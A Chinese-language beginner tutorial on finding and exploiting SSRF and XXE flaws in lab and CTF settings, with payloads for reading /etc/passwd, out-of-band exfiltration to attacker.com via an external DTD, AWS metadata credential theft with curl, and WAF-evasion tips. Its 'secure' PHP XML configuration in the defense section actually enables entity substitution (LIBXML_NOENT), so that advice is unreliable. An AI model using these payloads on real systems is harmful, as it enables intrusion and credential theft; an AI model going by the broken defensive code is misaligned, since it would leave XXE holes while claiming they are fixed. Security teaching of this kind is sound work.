1. 项目概述:Web安全工程师的必修漏洞课
作为刚入行的网络安全从业者,SSRF(服务端请求伪造)和XXE(XML外部实体注入)是必须掌握的两大高危漏洞类型。去年某大型电商平台就因SSRF漏洞导致内网敏感数据泄露,而某政务系统曾因XXE漏洞被攻击者读取服务器配置文件。这两个漏洞在OWASP Top 10中常年榜上有名,但很多新手在实际漏洞挖掘中往往不得要领。
本实战指南将用靶场环境演示如何系统性地发现和利用这两类漏洞。不同于市面上零散的教程,我会从漏洞原理、检测手法、利用技巧到防御方案进行全链条解析,特别适合准备参加CTF比赛或刚接触SRC漏洞挖掘的新手。所有实验均基于合法授权的测试环境,请严格遵守网络安全法律法规。
2. 漏洞原理深度解析
2.1 SSRF漏洞工作机制
SSRF的本质是服务端未对用户提供的URL参数进行严格校验,导致攻击者可以操纵服务器发起任意网络请求。典型的攻击场景包括:
- 访问内网服务(如Redis、Jenkins等未授权接口)
- 云环境元数据窃取(如AWS的169.254.169.254)
- 端口扫描内网资产
- 与其它漏洞形成链式攻击
关键危险函数包括:
# 高危代码示例 requests.get(user_input_url) file_get_contents($_GET['url'])2.2 XXE漏洞形成条件
XXE漏洞源于XML解析器对外部实体的不当处理,主要攻击方式有:
- 读取任意文件(file://协议)
- 发起SSRF请求(http://协议)
- 拒绝服务攻击( Billion Laughs攻击)
- 端口扫描(结合SSRF特性)
以下PHP代码是典型漏洞案例:
$xml = <<<XML <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> XML; $data = simplexml_load_string($xml);3. 实战环境搭建
3.1 推荐靶场配置
建议使用Docker快速搭建实验环境:
# 启动WebGoat靶场 docker run -d -p 8080:8080 webgoat/webgoat # 启动XXE实验室 docker run -d -p 8000:80 xxe-lab3.2 必备工具清单
| 工具名称 | 用途 | 安装命令 |
|---|---|---|
| Burp Suite | 流量拦截分析 | 官网下载社区版 |
| OWASP ZAP | 自动化扫描 | apt install zaproxy |
| Gopherus | SSRF Payload生成 | git clone https://github.com/tarunkant/Gopherus |
| XXEinjector | XXE自动化利用 | gem install xxeinjector |
4. SSRF漏洞挖掘实战
4.1 基础检测方法
- 修改URL参数为内网地址(如127.0.0.1)
- 尝试不同协议(file://, gopher://, dict://)
- 测试域名重绑定漏洞(使用burp collaborator)
典型Payload:
http://example.com/api?url=http://169.254.169.254/latest/meta-data/4.2 高级绕过技巧
当遇到基础防护时,可尝试:
- IP地址编码(十进制、十六进制)
- 短网址跳转
- DNS重绑定攻击
- 利用URL解析差异
# IP编码示例 原始IP:192.168.1.1 十进制:3232235777 十六进制:0xC0A801015. XXE漏洞利用实战
5.1 基础文件读取
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user>&xxe;</user>5.2 带外数据外传
当遇到无回显场景时:
<!DOCTYPE test [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]>evil.dtd内容:
<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?data=%payload;'>"> %param1;6. 组合漏洞利用案例
6.1 SSRF+XXE链式攻击
通过XXE触发SSRF访问内网服务:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]> <data>&xxe;</data>6.2 云环境渗透实战
- 通过SSRF获取AWS元数据
- 提取临时凭证
- 使用AWS CLI操作云资源
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/7. 防御方案设计
7.1 SSRF防护要点
- 建立URL白名单机制
- 禁用非常用协议(如gopher://)
- 使用网络隔离策略
- 对响应内容进行过滤
Java示例:
// 使用Apache HttpClient的校验方法 URI uri = new URI(url); if(!uri.getHost().endsWith(".trusted.com")) { throw new SecurityException("Invalid host"); }7.2 XXE防护方案
- 禁用DTD和外部实体
- 使用安全的XML解析器
PHP安全配置:
libxml_disable_entity_loader(true); $dom = new DOMDocument(); $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);8. 实战经验与避坑指南
遇到WAF时尝试:
- 改变参数位置(从GET改为POST)
- 使用非常见Content-Type
- 分块传输编码
企业SRC挖掘技巧:
- 重点关注文件上传、API接口功能点
- 注意新旧系统交接处的参数传递
- 测试Webhook回调功能
CTF比赛常见套路:
- 考察SSRF的协议利用(如gopher打Redis)
- XXE与文件上传结合
- 盲注型XXE的利用
重要提示:所有测试必须获得书面授权,未经授权的测试可能构成违法行为。建议在CTF靶场或自己搭建的环境中进行练习。